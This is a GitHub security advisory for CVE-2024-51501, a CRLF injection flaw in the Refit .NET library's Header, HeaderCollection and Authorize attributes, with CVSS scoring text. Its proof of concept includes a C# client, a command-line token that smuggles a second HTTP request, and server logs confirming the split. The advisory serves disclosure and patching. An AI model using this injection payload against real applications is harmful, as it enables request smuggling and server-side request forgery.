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CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes

Critical severity GitHub Reviewed Published Nov 4, 2024 in reactiveui/refit • Updated Nov 8, 2024

Package

nuget Refit (NuGet)

Affected versions

< 7.2.22

Patched versions

7.2.22

Description

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

References

@ChrisPulman ChrisPulman published to reactiveui/refit Nov 4, 2024
Published by the National Vulnerability Database Nov 4, 2024
Published to the GitHub Advisory Database Nov 4, 2024
Reviewed Nov 4, 2024
Last updated Nov 8, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

0.043%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-51501

GHSA ID

GHSA-3hxg-fxwm-8gf7

Source code

Credits

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